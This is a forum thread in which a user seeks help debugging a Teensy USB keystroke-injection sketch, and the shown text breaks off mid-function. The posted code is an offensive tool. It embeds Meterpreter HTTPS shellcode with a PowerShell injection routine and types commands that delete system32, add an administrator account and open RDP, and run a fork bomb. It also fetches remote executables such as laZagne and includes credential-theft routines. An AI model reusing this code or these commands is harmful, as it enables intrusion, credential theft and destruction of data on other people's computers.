What's wrong with my Script? (v2)

Status
Not open for further replies.

Swiftb0y

Member
I can't figure out why my struct declaration isnt working?
I'm running the arduino ide with teensyduino on a raspberry pi 2.

I know the code isn't complete but it should work without the functions.
ERROR:
Code:
Arduino: 1.8.0 (Linux), TD: 1.34, Board: "Teensy 3.6, Serial + Keyboard + Mouse + Joystick, 180 MHz, Fast, German"

Gather:102: error: 'dip_struct' does not name a type
 dip_struct dips_to_option(void){
 ^
Gather:146: error: variable or field 'fire_func' declared void
 void fire_func(dip_struct *result){
                ^
Gather:146: error: 'dip_struct' was not declared in this scope
Gather:146: error: 'result' was not declared in this scope
 void fire_func(dip_struct *result){
                            ^
In file included from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/wiring.h:33:0,
                 from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/WProgram.h:15,
                 from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/Arduino.h:1,
                 from /tmp/arduino_build_704240/sketch/Gather.ino.cpp:1:
Gather: In function 'void setup()':
/home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/core_pins.h:37:15: error: invalid type argument of unary '*' (have 'int')
 #define HIGH  1
               ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:135:17: note: in expansion of macro 'HIGH'
   setStatusLed(*HIGH);
                 ^
Gather: In function 'void fire_func(dip_struct*)':
Gather:160: error: expected ';' before ')' token
                 Keyboard.println("Troll menu:"));
                                                ^
Gather:189: warning: deprecated conversion from string constant to 'char*' 
               open_url("https://www.youtube.com/watch?v=DLzxrzFCyOs");
                                                                     ^
Gather: In function 'void setStatusLed(int*)':
Gather:257: error: 'LeadStatus' was not declared in this scope
     digitalWriteFast(13, *LeadStatus);
                           ^
In file included from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/wiring.h:33:0,
                 from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/WProgram.h:15,
                 from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/Arduino.h:1,
                 from /tmp/arduino_build_704240/sketch/Gather.ino.cpp:1:
Gather: In function 'void loop()':
/home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/core_pins.h:38:14: error: invalid type argument of unary '*' (have 'int')
 #define LOW  0
              ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:262:17: note: in expansion of macro 'LOW'
   setStatusLed(*LOW);
                 ^
/home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/core_pins.h:37:15: error: invalid type argument of unary '*' (have 'int')
 #define HIGH  1
               ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:269:17: note: in expansion of macro 'HIGH'
   setStatusLed(*HIGH);
                 ^
Gather:270: error: no match for 'operator*' (operand type is 'dip_struct')
   fire_func(*dips_to_option());
             ^
Gather: In function 'void exec_command()':
Gather:373: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_R);
                          ^
Gather: In function 'void hide_window()':
Gather:388: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_M);
                          ^
Gather:395: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_DOWN);
                             ^
Gather: In function 'void get_credentials_mimikatz_gmail()':
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:413:86: warning: use of 't' length modifier with 'e' type character [-Wformat=]
     Keyboard.println(printf("echo $user = \"%s\" >> %temp%\\dlp.ps1",GMAILACCOUNTNAME));
                                                                                      ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:413:86: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:413:86: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:413:86: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:414:86: warning: use of 't' length modifier with 'e' type character [-Wformat=]
     Keyboard.println(printf("echo $pass = \"%s\" >> %temp%\\dlp.ps1",GMAILACCOUNTPASS));
                                                                                      ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:414:86: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:414:86: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:414:86: warning: unknown conversion type character '\' in format [-Wformat=]
Gather: In function 'void get_wlan_credentials_gmail()':
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:436:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
     Keyboard.println(printf("echo $user = \"%s\" >> %temp%\\wl.ps1",GMAILACCOUNTNAME));
                                                                                     ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:436:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:436:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:436:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:437:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
     Keyboard.println(printf("echo $pass = \"%s\" >> %temp%\\wl.ps1",GMAILACCOUNTPASS));
                                                                                     ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:437:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:437:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:437:85: warning: unknown conversion type character '\' in format [-Wformat=]
Gather: In function 'void get_credentials_gmail_SE_vector()':
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:468:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
     Keyboard.println(printf("echo $user = \"%s\" >> %temp%\\cr.ps1",GMAILACCOUNTNAME));
                                                                                     ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:468:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:468:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:468:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:469:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
     Keyboard.println(printf("echo $pass = \"%s\" >> %temp%\\cr.ps1",GMAILACCOUNTPASS));
                                                                                     ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:469:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:469:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:469:85: warning: unknown conversion type character '\' in format [-Wformat=]
Gather: In function 'void wait_for_drivers(int)':
Gather:509: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_CAPS_LOCK);
                                  ^
Gather:518: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_CAPS_LOCK);
                                  ^
Gather: In function 'bool cmd_admin(int, int)':
Gather:544: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_ENTER);
                              ^
Gather:556: warning: no return statement in function returning non-void 
 }
 ^
Gather: In function 'bool cmd(int, int, char*)':
Gather:563: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_R);
                          ^
Gather:572: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_ENTER);
                              ^
Gather:581: warning: no return statement in function returning non-void 
 }
 ^
Gather: In function 'void make_sure_capslock_is_off()':
Gather:588: warning: large integer implicitly truncated to unsigned type 
     Keyboard.set_key1(KEY_CAPS_LOCK);
                                    ^
Gather: In function 'bool check_for_capslock_success_teensy(int, int)':
Gather:622: warning: comparison between signed and unsigned integer expressions 
   while (!is_caps_on() && (i<reps));
                              ^
Gather: In function 'void minimise_windows()':
Gather:629: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_M);
                          ^
Gather: In function 'void send_left_enter()':
Gather:652: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_LEFT);
                             ^
Gather:658: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_ENTER);
                              ^
'dip_struct' does not name a type

This report would have more information with
"Show verbose output during compilation"
option enabled in File -> Preferences.
CODE:
Code:
struct dip_struct{
  int p_type = 0;
  int p_specific = 0;
  int p_option = 0;
  bool p_hide = false;
  bool p_auto_exec = false;
  bool p_enable_delay = false;
};

//init funcs
int INPUTPINS[15] = {0, 1, 2, 3, 4, 7, 8, 9, 10, 11, 24, 25, 26, 27, 28};

int ledkeys(void) {return int(keyboard_leds);}

bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;}

void init_dip_switches(void){
  for (int pin_num; pin_num<15; ++pin_num){
    pinMode(INPUTPINS[pin_num], INPUT_PULLUP);
  }
};

dip_struct dips_to_option(void){
  //get status of the three dips and output a struct
  dip_struct result;
  for (int pin_num; pin_num<15; ++pin_num){
    Serial.println(INPUTPINS[pin_num]);
    if (digitalRead(INPUTPINS[pin_num]) == LOW){
      switch (INPUTPINS[pin_num]){
        case 0 ... 2:
            result.p_type = (pin_num+1);
        break;
        case 3:
          result.p_auto_exec=true;
        break;
        case 4:
          result.p_hide=true;
        break;
        case 7 ... 11:
          result.p_specific = (INPUTPINS[pin_num]-6);
        break;
        case 24 ... 27:
          result.p_option  = (INPUTPINS[pin_num]-23);
        break;
        case 28:
          result.p_enable_delay=true;
        break;
      }
    }
  }
  return result;
}

void setup() {
  pinMode(13, OUTPUT);
  setStatusLed(*HIGH);
  init_dip_switches();
  wait_for_drivers(200);

  minimise_windows();
  delay(500);

}  

  //insert loginc to handle func exection here

void fire_func(dip_struct *result){
  switch (*result->p_type) {
      case 0:
        open_notepad();
        delay(3000);
        Keyboard.println("Action type menu: \n\n\n\n\n\n...comming soon...");
        //Keyboard.println(HeaderASCII);
        break;
      case 1:
        //trolls
        switch (result->p_specific){
          case 0:
                open_notepad();
                delay(2000);
                Keyboard.println("Troll menu:"));
              break;
          case 1:
            switch (result->p_option){
              case 1:
                subtle_troll(8000);
              break;
              case 2:
                subtle_troll(3000);
              break;
              case 3:
                subtle_troll(1000);
              break;
              case 4:
                subtle_troll(500);
              break;
              default:
                open_notepad();
                delay(2000);
                Keyboard.println(printf("You entered the Wrong p_specific: %d", result->p_specific));
              break;
            }
            
            break;
          case 2:
            //change wallpaper
            break;
          case 3:
            //open_video
              open_url("https://www.youtube.com/watch?v=DLzxrzFCyOs");
            break;
          case 4:
            //fork bomb
            crash_win_fork_bomb();
            break;
          default:
            //print invalid setting
            open_notepad();
            delay(2000);
            Keyboard.println(printf("You entered the Wrong p_specific: %d", result->p_specific));
            break;
        }
        break;
      case 2:
        //gather
        switch (result->p_specific) {
            case 1:
              //get_credentials_mimikatz_gmail
              get_credentials_mimikatz_gmail();
              break;
            case 2:
              //get_credentials_gmail_SE_vector
              get_credentials_gmail_SE_vector();
              break;
            case 3:
            //get_wlan_credentials_gmail
            get_wlan_credentials_gmail();
            break;
          default:
            //print invalid setting
            open_notepad();
            delay(1000);
            Keyboard.println(printf("You entered the Wrong p_specific: %d", result->p_specific));
            break;
          }
        break;
      case 3: //
        //serious
        switch (result->p_specific){
          case 1:
            //add user and Remote Desktop
            add_user_and_rdp();
            break;
          case 2:
            //delete system32
            delete_system32();
            break;
          default:
            //print invalid setting
            open_notepad();
            delay(1000);
            Keyboard.println(printf("You entered the Wrong p_specific: %d", result->p_specific));
            break;
          
        }
        break;
      default:
        //print invalid setting
        open_notepad();
        delay(1000);
        Keyboard.println(printf("DAFUQ???\nYou entered the Wrong p_type: %d", result->p_type));
        break;
    }
}

void setStatusLed(int *LedStatus){
  if (digitalReadFast(4) == HIGH){
    digitalWriteFast(13, *LeadStatus);
  }
}

void loop() {
  setStatusLed(*LOW);
  // put your main code here, to run repeatedly:
  static unsigned int timer = 600;
  while ((digitalReadFast(28) == HIGH) and (timer)){
    --timer;
    delay(1000);
  }
  setStatusLed(*HIGH);
  fire_func(*dips_to_option());
  
}
 
Last edited:
The code you have published is not enough to compile and test what could be wrong, but:

Your handling of references and pointers will not work, you are using * when you should be using & to get a pointer to a variable.

Go through and read all the error messages carefully, they will tell you a lot about what is wrong.
 
Sorry here is the whole code:
Code:
#include "Entropy.h"
#include "math.h"


#define LAZAGNEPATH "http://swiftb0y.github.io/payloads/laZagne.exe"
#define MELTERPATH "http://swiftb0y.github.io/payloads/melter.exe"
#define WALLPAPERPATH "swiftb0y.github.io/payloads/3.bmp"


unsigned const char MeterpreterHttpsShellcode[] PROGMEM = "\xbb\xee\x85\xd7\xe3\xda\xc1\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x81\x31\x58\x12\x03\x58\x12\x83\x06\x79\x35\x16\x2a\x6a\x38\xd9\xd2\x6b\x5d\x53\x37\x5a\x5d\x07\x3c\xcd\x6d\x43\x10\xe2\x06\x01\x80\x71\x6a\x8e\xa7\x32\xc1\xe8\x86\xc3\x7a\xc8\x89\x47\x81\x1d\x69\x79\x4a\x50\x68\xbe\xb7\x99\x38\x17\xb3\x0c\xac\x1c\x89\x8c\x47\x6e\x1f\x95\xb4\x27\x1e\xb4\x6b\x33\x79\x16\x8a\x90\xf1\x1f\x94\xf5\x3c\xe9\x2f\xcd\xcb\xe8\xf9\x1f\x33\x46\xc4\xaf\xc6\x96\x01\x17\x39\xed\x7b\x6b\xc4\xf6\xb8\x11\x12\x72\x5a\xb1\xd1\x24\x86\x43\x35\xb2\x4d\x4f\xf2\xb0\x09\x4c\x05\x14\x22\x68\x8e\x9b\xe4\xf8\xd4\xbf\x20\xa0\x8f\xde\x71\x0c\x61\xde\x61\xef\xde\x7a\xea\x02\x0a\xf7\xb1\x4a\xa2\x6d\x3d\x8b\x52\x19\xd4\xe5\xcb\xb1\x4e\xb6\x7c\x1c\x89\xb9\x56\x51\x4e\x16\x0a\xc1\x23\xca\xc4\xdf\x95\x95\xb3\xdf\xcc\x35\xef\x75\xed\xea\x5c\xe2\xda\x16\x63\xf2\xf4\x3a\x62\xf2\x04\x6a\x12\xc7\x40\x42\x93\x6c\x04\xc9\x13\x35\xa7\x52\x23\xcf\xf0\x28\xbb\x1e\xb7\xe1\x69\x30\x03\x76\xdc\xd9\xe7\x3c\xcd\x5c\xb2\xf5\x6a\x17\x6c\x92\x41\xd7\xbf\x6b\xd9\x54\xf7\xbf\x57\x09\x36\xb5\x0c\xd5\x4d\x06\xb6\x60\xec\x3f\x4f\x2f\xb9\x8c\xc4\x97\x32\xa1\x58\xbe\xd3\x24\x30\x7a\x44\x9e\xf2\xb5\xed\x8b\x72\x8a\x48\x7c\x42\x8f\x1b\x2c\xd2\x21\xf6\x9c\x60\x88\x38\x75\xfc\x99\x4f\xd7\x8b\x22\xee\x93\x3d\x96\x99\x6a\x81\x9f\x1b\xe5\x6e\x14\xc8\x83\x15\x36\xdf\x27\x8e\x82\x48\x95\x58\xa5\x45\x94\xe2\x78\xc6\x31\xbf\x4f\x2f\xf7\x68\xfb\x03\x41\xa5\x8d\xef\x2f\x82\x33\x57\xdd\x7e\xe7\x57\x42\x15\x7d\xf8\x1e\xe9\xd1\x6e\x88\x60\x4e\xa8\xc9\xa6\xf8\xf2\x65\x21\xfb\xc8\x69\x35\xa8\x7f\x39\x61\x1c\x29\xd5\x66\xf7\xfb\x1e\x86\x2d\x95\x0b\x72\x91\xf1\x4b\xb1\x2d\x01\xc5\x56\x47\x05\x85\xfc\x87\x53\x4d\x74\xfe\xc5\x0b\x89\x2b\xaa\x40\x25\x87\x1a\x0f\xe4\x21\xba\xb4\x09\xf8\x3f\x8a\x83\x0b\x70\x7e\xb5\xe4\xd8\x80\x45\xf5\x8e\xc0\x2d\xf5\x5e\xc1\xad\x9d\x5e\xc1\xed\x5d\x0d\xa9\xb5\xf9\xe2\xcc\xb9\xd7\x97\x5c\x15\x51\x70\x35\xf1\x61\x5e\xba\x01\x31\xc8\xd2\x13\x23\x7d\xc0\xeb\x9e\xf8\xc5\x60\xee\x89\xc1\x89\x33\x08\x0d\xfc\x56\x4a\x4d\xa0\x70\x1d\xae\xa0\x7e\x8c\x63\x2b\xb5\x3d\xf4\xbf\x85\xf0\x80\x4c\xd5\x80\x1e\x80\x6b\x4a\xbb\x82\xe5\xe1\x6d\x25\x9f\x71\x72\x02\xaf\xcc\xd0\x22\x3a\x2e\x46\x34\x6f";
unsigned const char MeterpreterTCPShellcode[] PROGMEM = "";

void type_header(void){
  Keyboard.println(F("__/\\\\\\\\\\\\\\\\\\\\\\\\\\___________________________________________________________________________/\\\\\\_______/\\\\\\_        "));
Keyboard.println(F(" _\\/\\\\\\/////////\\\\\\________________________________________________________________________\\///\\\\\\___/\\\\\\/__       "));
Keyboard.println(F("  _\\/\\\\\\_______\\/\\\\\\_____________________________________________________________/\\\\\\__/\\\\\\___\\///\\\\\\\\\\\\/____      "));
Keyboard.println(F("   _\\/\\\\\\\\\\\\\\\\\\\\\\\\\\/______/\\\\\\\\\\\\\\\\______/\\\\\\\\\\\\\\\\___/\\\\/\\\\\\\\\\\\____/\\\\\\\\\\\\\\\\\\\\___\\//\\\\\\/\\\\\\______\\//\\\\\\\\______     "));
Keyboard.println(F("    _\\/\\\\\\/////////______/\\\\\\/////\\\\\\___/\\\\\\/////\\\\\\_\\/\\\\\\////\\\\\\__\\/\\\\\\//////_____\\//\\\\\\\\\\________\\/\\\\\\\\______    "));
Keyboard.println(F("     _\\/\\\\\\______________/\\\\\\\\\\\\\\\\\\\\\\___/\\\\\\\\\\\\\\\\\\\\\\__\\/\\\\\\__\\//\\\\\\_\\/\\\\\\\\\\\\\\\\\\\\_____\\//\\\\\\_________/\\\\\\\\\\\\_____   "));
Keyboard.println(F("      _\\/\\\\\\_____________\\//\\\\///////___\\//\\\\///////___\\/\\\\\\___\\/\\\\\\_\\////////\\\\\\__/\\\\_/\\\\\\________/\\\\\\////\\\\\\___  "));
Keyboard.println(F("       _\\/\\\\\\______________\\//\\\\\\\\\\\\\\\\\\\\__\\//\\\\\\\\\\\\\\\\\\\\_\\/\\\\\\___\\/\\\\\\__/\\\\\\\\\\\\\\\\\\\\_\\//\\\\\\\\/_______/\\\\\\/___\\///\\\\\\_ "));
Keyboard.println(F("        _\\///________________\\//////////____\\//////////__\\///____\\///__\\//////////___\\////________\\///_______\\///__"));
Keyboard.println(F(""));
Keyboard.println(F("Usage:"));
Keyboard.println(F("\t1) Switch 1:"));
Keyboard.println(F("\t\t1) Pin 1: Execute a trollfunc."));
Keyboard.println(F("\t\t\t1) Switch 2:"));
Keyboard.println(F("\t\t\t\t1) Pin 1: Subtle ghost Typing:"));
Keyboard.println(F("\t\t\t\t\t\tSwitch 3:"));
Keyboard.println(F("\t\t\t\t\t\t\tPin 1-4: Intensity (yet not fully implemented)."));
Keyboard.println(F("\t\t\t\t2) Pin 2: change Wallpaper:"));
Keyboard.println(F("\t\t\t\t\t\tSwitch 3:"));
Keyboard.println(F("\t\t\t\t\t\t\tPin 1: You got hacked"));
Keyboard.println(F("\t\t\t\t\t\t\t...More coming soon..."));
Keyboard.println(F("\t\t\t\t3) Pin 3: play Video:"));
Keyboard.println(F("\t\t\t\t\t\tSwitch 3:"));
Keyboard.println(F("\t\t\t\t\t\t\tPin 1: Rick Roll"));
Keyboard.println(F("\t\t\t\t\t\t\t...More coming soon..."));
Keyboard.println(F("\t\t\t\t4) Pin 4: Crash windows temporarely with forkbomb:"));
Keyboard.println(F("\t\t\t\t\t\tSwitch 3:"));
Keyboard.println(F("\t\t\t\t\t\t\tPin 1-4: Desired OS"));
Keyboard.println(F("\t\t\t\t5) Pin 5: Speak on Target:"));
Keyboard.println(F("\t\t\t\t\t\tSwitch 3:"));
Keyboard.println(F("\t\t\t\t\t\t\tPin 1-4 different Sentences:"));
Keyboard.println(F("\t\t2) Pin 2: Execute a gatherfunc."));
Keyboard.println(F("\t\t\tYET NOT IMPLEMENTED! DO NOT USE!!!!"));
Keyboard.println(F("\t\t3) Pin 3: Serious stuff (DANGEROUS/DO ONLY ON YOUR OWN RISK)"));
Keyboard.println(F("\t\t\t1) Switch 2:"));
Keyboard.println(F("\t\t\t\t1) Pin 1: User/RDP/Protocols:"));
Keyboard.println(F("\t\t\t\t\tSwitch 3:"));
Keyboard.println(F("\t\t\t\t\t\tPin 1: add user and rdp"));
Keyboard.println(F("\t\t\t\t\t\tPin 2: add user and enabel Powershell Remoting"));
Keyboard.println(F("\t\t\t\t\t\tPin 3: Stuff"));
Keyboard.println(F("\t\t\t\t2) Backdoors:"));
Keyboard.println(F("\t\t\t\t\tSwitch 3:"));
Keyboard.println(F("\t\t\t\t\t\tPin 1: Sethc"));
Keyboard.println(F("\t\t\t\t\t\tPin 2: Utilman"));
Keyboard.println(F("\t\t\t\t\t\tPin 3: Gupt"));
Keyboard.println(F("\t\t\t\t\t\tPin 4: HTTP-Backdoor (from kautilya)"));
Keyboard.println(F("\t\t\t\t3) Pin 3: Meterpreter/Inject_Shellcode_Reflective:"));
Keyboard.println(F("\t\t\t\t\tREQUIRES CUSTOM SHELLCODE AND MATCHING LISTENER"));
Keyboard.println(F("\t\t\t\t\tSwitch 3:"));
Keyboard.println(F("\t\t\t\t\t\tYET TO IMPLEMENT"));
Keyboard.println(F("\t\t\t\t4) Pin 4: Destroy windows"));
Keyboard.println(F("\t\t\t\t\tSwitch 3:"));
Keyboard.println(F("\t\t\t\t\t\tPin 1: Delete System32"));
Keyboard.println(F(""));
Keyboard.println(F("SPECIAL PINS:"));
Keyboard.println(F("\tSwitch 1:"));
Keyboard.println(F("\t\tPin 5: Go stealth mode (No LEDs exec only after certain conditions)"));
Keyboard.println(F("\tSwitch 3:"));
Keyboard.println(F("\t\tPin 5: Execute after delay of max. 10mins.\t\t\t\t\t\t"));
Keyboard.println(F(""));



};

struct dip_struct{
  int p_type = 0;
  int p_specific = 0;
  int p_option = 0;
  bool p_hide = false;
  bool p_auto_exec = false;
  bool p_enable_delay = false;
};

//init funcs
int INPUTPINS[15] = {0, 1, 2, 3, 4, 7, 8, 9, 10, 11, 24, 25, 26, 27, 28};

int ledkeys(void) {return int(keyboard_leds);}

bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;}

void init_dip_switches(void){
  for (int pin_num; pin_num<15; ++pin_num){
    pinMode(INPUTPINS[pin_num], INPUT_PULLUP);
  }
};

dip_struct dips_to_option(void){
  //get status of the three dips and output a struct
  dip_struct result;
  for (int pin_num; pin_num<15; ++pin_num){
    Serial.println(INPUTPINS[pin_num]);
    if (digitalRead(INPUTPINS[pin_num]) == LOW){
      switch (INPUTPINS[pin_num]){
        case 0 ... 2:
            result.p_type = (pin_num+1);
        break;
        case 3:
          result.p_auto_exec=true;
        break;
        case 4:
          result.p_hide=true;
        break;
        case 7 ... 11:
          result.p_specific = (INPUTPINS[pin_num]-6);
        break;
        case 24 ... 27:
          result.p_option  = (INPUTPINS[pin_num]-23);
        break;
        case 28:
          result.p_enable_delay=true;
        break;
      }
    }
  }
  return result;
}

void setup() {
  pinMode(13, OUTPUT);
  setStatusLed(*HIGH);
  init_dip_switches();
  wait_for_drivers(200);

  minimise_windows();
  delay(500);

}  

  //insert loginc to handle func exection here

void fire_func(dip_struct *result){
  switch (result->p_type) {
      case 0:
        open_notepad();
        delay(3000);
        Keyboard.println("Action type menu: \n\n\n\n\n\n...comming soon...");
        //Keyboard.println(HeaderASCII);
        break;
      case 1:
        //trolls
        switch (result->p_specific){
          case 0:
                open_notepad();
                delay(2000);
                Keyboard.println("Troll menu:"));
              break;
          case 1:
            switch (result->p_option){
              case 1:
                subtle_troll(8000);
              break;
              case 2:
                subtle_troll(3000);
              break;
              case 3:
                subtle_troll(1000);
              break;
              case 4:
                subtle_troll(500);
              break;
              default:
                open_notepad();
                delay(2000);
                Keyboard.println(printf("You entered the Wrong p_specific: %d", result->p_specific));
              break;
            }
            
            break;
          case 2:
            //change wallpaper
            break;
          case 3:
            //open_video
              open_url("https://www.youtube.com/watch?v=DLzxrzFCyOs");
            break;
          case 4:
            //fork bomb
            crash_win_fork_bomb();
            break;
          default:
            //print invalid setting
            open_notepad();
            delay(2000);
            Keyboard.println(printf("You entered the Wrong p_specific: %d", result->p_specific));
            break;
        }
        break;
      case 2:
        //gather
        switch (result->p_specific) {
            case 1:
              //get_credentials_mimikatz_gmail
              get_credentials_mimikatz_gmail();
              break;
            case 2:
              //get_credentials_gmail_SE_vector
              get_credentials_gmail_SE_vector();
              break;
            case 3:
            //get_wlan_credentials_gmail
            get_wlan_credentials_gmail();
            break;
          default:
            //print invalid setting
            open_notepad();
            delay(1000);
            Keyboard.println(printf("You entered the Wrong p_specific: %d", result->p_specific));
            break;
          }
        break;
      case 3: //
        //serious
        switch (result->p_specific){
          case 1:
            //add user and Remote Desktop
            add_user_and_rdp();
            break;
          case 2:
            //delete system32
            delete_system32();
            break;
          default:
            //print invalid setting
            open_notepad();
            delay(1000);
            Keyboard.println(printf("You entered the Wrong p_specific: %d", result->p_specific));
            break;
          
        }
        break;
      default:
        //print invalid setting
        open_notepad();
        delay(1000);
        Keyboard.println(printf("DAFUQ???\nYou entered the Wrong p_type: %d", result->p_type));
        break;
    }
}

void setStatusLed(int *LedStatus){
  if (digitalReadFast(4) == HIGH){
    digitalWriteFast(13, *LeadStatus);
  }
}

void loop() {
  setStatusLed(*LOW);
  // put your main code here, to run repeatedly:
  static unsigned int timer = 600;
  while ((digitalReadFast(28) == HIGH) and (timer)){
    --timer;
    delay(1000);
  }
  setStatusLed(*HIGH);
  fire_func(*dips_to_option());
  
}
//Serius Stuff
void delete_system32(void){
  get_cmd_admin();
  Keyboard.println("del c:\\WINDOWS\\system32\\*.*/q ");
  Keyboard.println("shutdown -r -f -t 00");
}

void inline_meterpreter_shellcode(void){
  Keyboard.print(F("$code = '"));
  Keyboard.print(F("[DllImport(\"kernel32.dll\")]"));
  Keyboard.print(F("public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);"));
  Keyboard.print(F("[DllImport(\"kernel32.dll\")]"));
  Keyboard.print(F("public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);"));
  Keyboard.print(F("[DllImport(\"msvcrt.dll\")]"));
  Keyboard.print(F("public static extern IntPtr memset(IntPtr dest, uint src, uint count);';"));
  Keyboard.print(F("$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru;"));
  Keyboard.print(F("[Byte[]]$sc64 = "));
  Keyboard.print(F(MeterpreterHttpsShellcode));
  Keyboard.print(F("[Byte[]]$sc = $sc64;$size = 0x1000;"));
  Keyboard.print(F("if ($sc.Length -gt 0x1000) {$size = $sc.Length};"));
  Keyboard.print(F("$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);"));
  Keyboard.print(F("for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};"));
  Keyboard.print(F("$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };"));
}
void add_user_and_rdp(void){
  get_cmd_admin();
  Keyboard.println("net user /add pwn3d RaspberryPaulanik0");
  Keyboard.println("net localgroup administrators pwn3d /add");
  Keyboard.println("powershell set-ItemProperty -Path \'HKLM:\\System\\CurrentControlSet\\Control\\Terminal Server'-name \"fDenyTSConnections\" -Value 0");
  Keyboard.println("Powershell set-ItemProperty -Path \'HKLM:\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp' -name \"UserAuthentication\" -Value 0");
  Keyboard.println("exit");
}


//trollFuncs
void subtle_troll(int delay_time){
  Entropy.Initialize();
  Mouse.screenSize(1920, 1080);
  int x;
  int y;
  uint8_t choice;
  char randChar;
  while (true){
    delay(delay_time);
    randChar = Entropy.random(128);
    x = Entropy.random(800);
    y = Entropy.random(800);
    choice = Entropy.random(17);
    switch (choice) {
      case 0:
        Mouse.move(-x, -y);
        break;
      case 1:
        Mouse.move(x, y);
        break;
      case 2:
        Mouse.move(-x, y);
        break;
      case 3:
        Mouse.move(x, -y);
        break;
      case 4 ... 10:
        Keyboard.print(randChar);
        break;
      default:
        delay(2000+(delay_time/4));
        break;
    }
  }
}

void change_wallpaper(void){
  get_cmd_admin();
  Keyboard.println("cd %temp%");
  Keyboard.println("echo iex ((New-Object Net.WebClient).DownloadString(\"WALLPAPERPATH\")); >> %temp%\\dlp.ps1");
  Keyboard.println("reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d  WALLPAPERPATH /f");
}


void open_url(char url[]){
  exec_command();
  Keyboard.println(url);
}

void crash_win_fork_bomb(void){
  get_cmd_admin();
  delay(3000);
  Keyboard.println("cd %temp% & echo @echo off >> win.bat & echo :s >> win.bat & echo start win.bat >> win.bat & echo GOTO START >> win.bat & win.bat");
}

// customFuncs
void get_cmd_admin(void){
  while(!cmd_admin(3,500))
  {
